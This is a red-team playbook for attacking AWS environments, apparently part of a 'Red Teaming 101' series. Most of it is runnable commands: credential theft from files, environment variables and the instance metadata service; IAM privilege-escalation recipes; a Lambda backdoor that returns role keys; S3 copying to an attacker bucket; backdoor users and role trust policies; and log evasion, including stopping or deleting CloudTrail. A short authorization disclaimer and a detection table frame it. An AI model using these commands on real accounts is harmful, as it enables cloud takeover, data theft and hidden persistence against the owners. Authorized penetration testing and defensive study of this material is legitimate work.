aws-attack-paths

02 — AWS Attack Paths

BLUF: AWS environments are won or lost on IAM. Every crown jewel is behind a permission boundary — find the misconfigured role, the over-privileged service account, or the instance with a powerful Instance Profile, and the environment opens. This guide covers practical AWS attack paths from initial credential access through domain dominance, mapped to real tools and current AWS service behavior.

Note

Sections

  1. Initial Access — AWS Credential Sources · 2. Enumeration — Know Your Identity · 3. IAM Privilege Escalation Paths · 4. Cross-Account Lateral Movement · 5. EC2 / IMDS Credential Theft · 6. Lambda & Serverless Attacks · 7. S3 Data Access & Exfiltration · 8. Persistence in AWS · 9. AWS OPSEC & Logging Awareness · 10. Quick-Reference Cheat Sheet
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.

graph TB
    InitAccess([Initial Access\nCredentials / IMDS / Phish]) --> WhoAmI[Identity Enumeration\naws sts get-caller-identity]
    WhoAmI --> IAMEnum[IAM Enum\nPolicies + Roles + Groups]
    IAMEnum --> PrivEsc[IAM Privilege Escalation]
    IAMEnum --> CrossAcct[Cross-Account Trust Abuse]
    PrivEsc --> AdminAccess[Admin / Root Equivalent]
    AdminAccess --> Persist[Persistence\nNew Key / Role Backdoor]
    AdminAccess --> DataAccess[Data Access\nS3 / Secrets Manager / SSM]
    AdminAccess --> Pivot[EC2 / Lambda Pivot]
    style InitAccess fill:#ff6600
    style AdminAccess fill:#cc0000,color:#ffffff

MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1552.005 Cloud Instance Metadata API Credential Access IMDS credential theft
T1078.004 Cloud Accounts Initial Access / Persistence Compromised cloud credentials
T1528 Steal Application Access Token Credential Access OAuth / OIDC token theft
T1580 Cloud Infrastructure Discovery Discovery EC2, S3, IAM enumeration
T1087.004 Cloud Account Discovery Discovery IAM user/role enumeration
T1098.001 Additional Cloud Credentials Persistence New access key creation
T1537 Transfer Data to Cloud Account Exfiltration S3 cross-account copy
T1619 Cloud Storage Object Discovery Discovery S3 bucket enumeration

Section 1 — Initial Access: AWS Credential Sources

1.1 Leaked Credentials (Most Common)

# Check: GitHub, GitLab, public S3 buckets, Pastebin, .env files
# Tools: truffleHog, git-secrets, gitleaks

# TruffleHog — scan GitHub repo for AWS key patterns:
trufflehog git https://github.com/target-org/target-repo

# Check common credential locations on a compromised Linux host:
cat ~/.aws/credentials
cat ~/.aws/config
env | grep -i aws
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i aws

# AWS key format (easy to grep for):
# Access Key ID: AKIA[A-Z0-9]{16}   (long-term, user-associated)
# Access Key ID: ASIA[A-Z0-9]{16}   (temporary STS session — expires)
# Secret: 40 random chars

1.2 IMDS Credential Theft (from EC2 foothold)

# From a compromised EC2 instance:

# IMDSv1 (no auth required — token-less, deprecated but still common):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: <role-name>

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 (requires token — enabled by default on newer instances):
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

1.3 Environment Variables & Secrets Manager

# On compromised Lambda or ECS container — env vars always present:
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN

# Application secrets often stored in Secrets Manager or Parameter Store:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/password

aws ssm describe-parameters
aws ssm get-parameter --name /prod/db/password --with-decryption

Section 2 — Enumeration: Know Your Identity First

Never enumerate blindly. First answer: who am I, what can I do?

# Configure stolen credentials:
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."  # If STS temp creds

# Who am I?
aws sts get-caller-identity
# Returns: Account, UserId, ARN — tells you user vs. role vs. service

# What can I do? (enumerate attached policies)
aws iam get-user                              # If IAM user
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>
aws iam list-groups-for-user --user-name <username>
aws iam list-attached-group-policies --group-name <group>

# For an assumed role:
aws iam list-attached-role-policies --role-name <role-name>
aws iam list-role-policies --role-name <role-name>
aws iam get-role --role-name <role-name>

Automated Enumeration — enumerate-iam

# enumerate-iam: bruteforce all AWS service permissions for current credentials
# github.com/andresriancho/enumerate-iam

git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
pip install -r requirements.txt

python3 enumerate-iam.py \
    --access-key $AWS_ACCESS_KEY_ID \
    --secret-key $AWS_SECRET_ACCESS_KEY \
    --session-token $AWS_SESSION_TOKEN \
    --region us-east-1

# Output: list of all API calls that succeeded (= permissions you have)

IAM Enumeration — Map the Blast Radius

# List all IAM users:
aws iam list-users --output table

# List all roles (find high-value targets: admin, ec2, lambda roles):
aws iam list-roles | jq '.Roles[] | {RoleName, Arn, MaxSessionDuration}'

# Get inline policy document for a user or role:
aws iam get-user-policy --user-name <user> --policy-name <policy>
aws iam get-role-policy --role-name <role> --policy-name <policy>

# Get managed policy document (version matters):
POLICY_ARN="arn:aws:iam::ACCOUNT:policy/PolicyName"
VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN | jq -r '.Policy.DefaultVersionId')
aws iam get-policy-version --policy-arn $POLICY_ARN --version-id $VERSION \
    | jq '.PolicyVersion.Document'

# List all policies attached to everything:
aws iam generate-credential-report
aws iam get-credential-report --query 'Content' --output text | base64 -d

Section 3 — IAM Privilege Escalation Paths

3.1 CreatePolicy + AttachUserPolicy (Privilege Creation)

# If you have: iam:CreatePolicy + iam:AttachUserPolicy
# → Create a new admin policy and attach it to yourself

# Create an AdministratorAccess-equivalent policy:
aws iam create-policy \
    --policy-name TempAdminPolicy \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{"Effect":"Allow","Action":"*","Resource":"*"}]
    }'

# Attach to yourself:
aws iam attach-user-policy \
    --user-name <your-username> \
    --policy-arn arn:aws:iam::ACCOUNT_ID:policy/TempAdminPolicy

# Verify:
aws iam list-attached-user-policies --user-name <your-username>

3.2 PassRole + EC2 CreateInstance (Role Theft via EC2)

# If you have: iam:PassRole + ec2:RunInstances + ec2:DescribeInstances
# → Launch an EC2 instance with a high-privilege instance profile
# → SSH in → steal credentials via IMDS

# Find high-value instance profiles:
aws iam list-instance-profiles | jq '.InstanceProfiles[] | {InstanceProfileName, Roles:.Roles[].RoleName}'

# Launch EC2 with target instance profile:
aws ec2 run-instances \
    --image-id ami-0c55b159cbfafe1f0 \
    --instance-type t2.micro \
    --iam-instance-profile Name=AdminInstanceProfile \
    --key-name your-key-pair \
    --user-data '#!/bin/bash
        curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/role.txt
        ROLE=$(cat /tmp/role.txt)
        curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE >> /tmp/creds.json' \
    --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=windows-update}]'

# After launch: SSH to instance and retrieve /tmp/creds.json
# Or use SSM Session Manager if SSM agent is running:
aws ssm start-session --target <instance-id>

3.3 Lambda CreateFunction + PassRole (Serverless PrivEsc)

# If you have: lambda:CreateFunction + iam:PassRole + lambda:InvokeFunction
# → Create a Lambda with admin role attached → invoke to run commands as admin

# Create Lambda with admin execution role:
aws lambda create-function \
    --function-name TemporaryAdminFunction \
    --runtime python3.11 \
    --handler index.handler \
    --role arn:aws:iam::ACCOUNT_ID:role/AdminLambdaRole \
    --zip-file fileb://lambda.zip

# Lambda code (lambda.zip contains index.py):
cat > index.py << 'EOF'
import boto3, subprocess, json

def handler(event, context):
    # Example: create new admin access key for IAM user
    iam = boto3.client('iam')
    response = iam.create_access_key(UserName=event.get('target_user', 'admin'))
    return response['AccessKey']
EOF
zip lambda.zip index.py

# Invoke to create access key:
aws lambda invoke \
    --function-name TemporaryAdminFunction \
    --payload '{"target_user": "admin-user"}' \
    /tmp/lambda_response.json
cat /tmp/lambda_response.json

3.4 AssumeRole — Pivot to Higher-Privilege Role

# If you find a role with sts:AssumeRole allowed for your identity:
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument | .Statement[] | .Principal | .AWS? == "<your_arn>")'

# Assume the role:
aws sts assume-role \
    --role-arn arn:aws:iam::TARGET_ACCOUNT:role/AdminRole \
    --role-session-name RedTeamSession \
    --duration-seconds 3600

# Export the returned temp credentials:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Confirm new identity:
aws sts get-caller-identity

3.5 iam:PutUserPolicy — Inline Policy Injection

# If you have iam:PutUserPolicy for yourself:
aws iam put-user-policy \
    --user-name <your-username> \
    --policy-name PrivEscPolicy \
    --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

Automated PrivEsc discovery — PACU:

# PACU: AWS exploitation framework
pip3 install pacu
pacu

# In PACU:
Pacu > import_keys --profile default
Pacu > run iam__privesc_scan    # Enumerate all PrivEsc paths for current identity
Pacu > run iam__enum_permissions  # Full permission enumeration

Section 4 — Cross-Account Lateral Movement

4.1 Role Trust Relationship Abuse

# Find roles with cross-account trust (Principal != current account):
aws iam list-roles | jq -r '.Roles[] |
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | strings | test("[0-9]{12}")) |
    {RoleName, TrustPrincipal: .AssumeRolePolicyDocument.Statement[].Principal.AWS}'

# If one of the trusted principals is an account/role you control:
aws sts assume-role \
    --role-arn arn:aws:iam::TARGET_ACCOUNT_ID:role/CrossAccountRole \
    --role-session-name pivot-session

4.2 S3 Cross-Account Access

# Find buckets with cross-account access policies:
aws s3api get-bucket-policy --bucket <bucket-name>
# Look for Principal = "*" or Principal = another account ID

# Direct access to cross-account bucket (if policy allows):
aws s3 ls s3://target-bucket --no-sign-request    # Public bucket
aws s3 cp s3://target-bucket/sensitive.txt /tmp/  # Download from cross-account

Section 5 — EC2 / IMDS Credential Theft

SSRF to IMDS (Web App Foothold)

# If you have SSRF on an EC2-hosted app:

# IMDSv1 (no token needed):
# In SSRF URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 (need to first get token via PUT):
# Step 1 (PUT — requires some SSRFs to support arbitrary methods):
# Bypass: some apps allow Host header injection to reach 169.254.169.254

# Extract role name first:
# SSRF: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Then get credentials:
# SSRF: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# Keys expire — check Expiration field and act quickly

Section 6 — Lambda & Serverless Attacks

# List all Lambda functions:
aws lambda list-functions | jq '.Functions[] | {FunctionName, Runtime, Role}'

# Get function code (downloads ZIP):
aws lambda get-function --function-name <name> | jq -r '.Code.Location'
curl -o function.zip "<location-url>"  # Contains source code

# Get environment variables (may contain secrets, DB passwords, API keys):
aws lambda get-function-configuration --function-name <name> \
    | jq '.Environment.Variables'

# Invoke function (test for SSRF, command injection, or logic flaws):
aws lambda invoke \
    --function-name <name> \
    --payload '{"key": "value"}' \
    /tmp/output.json

# Update function code (if you have lambda:UpdateFunctionCode):
# Replace function with malicious code to access its execution role
cat > backdoor.py << 'EOF'
import boto3, json
def handler(event, context):
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()
    creds = boto3.session.Session().get_credentials().get_frozen_credentials()
    return {
        'identity': identity,
        'access_key': creds.access_key,
        'secret_key': creds.secret_key,
        'token': creds.token
    }
EOF
zip backdoor.zip backdoor.py

aws lambda update-function-code \
    --function-name <name> \
    --zip-file fileb://backdoor.zip

# Invoke backdoored function to steal execution role credentials:
aws lambda invoke --function-name <name> --payload '{}' /tmp/creds.json
cat /tmp/creds.json

Section 7 — S3 Data Access & Exfiltration

# List all buckets (if s3:ListAllMyBuckets):
aws s3 ls

# List bucket contents:
aws s3 ls s3://bucket-name --recursive | head -50

# Find sensitive files (look for: backup, dump, config, creds, key, secret):
aws s3 ls s3://bucket-name --recursive | grep -iE "backup|dump|\.sql|\.env|cred|secret|key|password"

# Download files:
aws s3 cp s3://bucket-name/sensitive-file.sql /tmp/
aws s3 sync s3://bucket-name/data/ /tmp/data/   # Sync entire prefix

# Cross-account exfil (copy to attacker-controlled bucket):
aws s3 cp s3://target-bucket/loot.zip s3://attacker-bucket/loot.zip \
    --source-region us-east-1 \
    --region us-east-1

# Check bucket policy for public read:
aws s3api get-bucket-acl --bucket <name>
aws s3api get-bucket-policy --bucket <name>
aws s3api get-public-access-block --bucket <name>

Section 8 — Persistence in AWS

Create Backdoor Access Key

# Create new access key for existing admin user (requires iam:CreateAccessKey):
aws iam create-access-key --user-name <admin-user>
# Store the returned AccessKeyId and SecretAccessKey — does not expire unless deleted

Create Backdoor IAM User

# Create a new IAM user (blends in if named plausibly):
aws iam create-user --user-name svc-monitoring-prod

# Attach admin policy:
aws iam attach-user-policy \
    --user-name svc-monitoring-prod \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create access key for the backdoor user:
aws iam create-access-key --user-name svc-monitoring-prod

Backdoor Role Trust Policy

# Add attacker-controlled identity as a trusted principal on an existing role:
aws iam update-assume-role-policy \
    --role-name AdminRole \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
                "Action": "sts:AssumeRole"
            }
        ]
    }'
# After this: attacker can assume AdminRole from their own account anytime

Section 9 — AWS OPSEC & Logging Awareness

What CloudTrail Sees

Every AWS API call is logged in CloudTrail. By default:

High-scrutiny API calls (likely to trigger GuardDuty alerts):

API Call Why It's Suspicious GuardDuty Finding
iam:CreateAccessKey New persistent credential UnauthorizedAccess:IAMUser/AnomalousBehavior
iam:AttachUserPolicy with AdministratorAccess Privilege escalation Policy:IAMUser/NoMFAAccess
sts:AssumeRole from unusual IP Lateral movement UnauthorizedAccess:IAMUser/ConsoleLoginSuccess
s3:GetObject on sensitive buckets Data exfil Exfiltration:S3/ObjectRead
ec2:RunInstances New compute Backdoor:EC2/C&CActivity
secretsmanager:GetSecretValue Credential theft UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration

OPSEC Techniques

# 1. Check if GuardDuty is enabled before taking noisy actions:
aws guardduty list-detectors
aws guardduty get-detector --detector-id <id>

# 2. Check if CloudTrail is logging and where logs go:
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name <trail-name>

# 3. Use services/regions where logging may be incomplete:
# Enumerate CloudTrail regions — some trails only cover specific regions:
aws cloudtrail get-trail-status --name <trail-name> --region <region>

# 4. Source IP awareness:
# CloudTrail logs the source IP of every API call
# Use a residential proxy or VPN exit node that doesn't look like a known attacker IP
# Avoid Tor exit nodes — GuardDuty flags them

# 5. Use services less commonly monitored:
# AWS Config (resource config) is not CloudTrail — changes may be less scrutinized
# Systems Manager (SSM) Run Command leaves logs in SSM, not necessarily SIEM-connected

# 6. Delete/disrupt logging (only if explicitly authorized — very noisy):
aws cloudtrail stop-logging --name <trail-name>
aws cloudtrail delete-trail --name <trail-name>
# NOTE: Deleting CloudTrail generates a CloudTrail event first, and GuardDuty alerts on this

Section 10 — Quick-Reference Cheat Sheet

# Identity & Enumeration
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies --user-name <user>
aws iam list-roles | jq '.Roles[].RoleName'
aws iam get-policy-version --policy-arn <arn> --version-id v1

# Automated tools
python3 enumerate-iam.py --access-key $KEY --secret-key $SECRET  # Enumerate permissions
pacu > run iam__privesc_scan                                      # PrivEsc paths

# IMDS (from EC2 foothold)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# PrivEsc patterns
aws iam put-user-policy --user-name <you> --policy-name Priv --policy-document '...'
aws iam attach-user-policy --user-name <you> --policy-arn arn:...:AdministratorAccess
aws sts assume-role --role-arn arn:...AdminRole --role-session-name r

# Data access
aws s3 ls                                   # List all buckets
aws s3 ls s3://bucket --recursive           # List bucket contents
aws secretsmanager list-secrets             # List secrets
aws ssm get-parameter --name /prod/db/pass --with-decryption

# Persistence
aws iam create-access-key --user-name <admin>
aws iam create-user --user-name svc-monitor-prod
aws iam attach-user-policy --user-name svc-monitor-prod --policy-arn arn:...:AdministratorAccess
aws iam create-access-key --user-name svc-monitor-prod

# GuardDuty check before noisy actions
aws guardduty list-detectors
aws cloudtrail describe-trails

PACU module quick reference:

PACU Module What It Does
iam__privesc_scan Finds all PrivEsc paths for current identity
iam__enum_permissions Full permission enumeration
s3__enum Find all accessible S3 buckets
ec2__enum Enumerate all EC2 resources
lambda__enum List Lambda functions + env vars
secretsmanager__enum Dump all accessible secrets
guardduty__list_findings Check GuardDuty for existing alerts

Part of the Red Teaming 101 series. Parent: P5 — Cloud Attack · See also: Azure Entra ID Attack Paths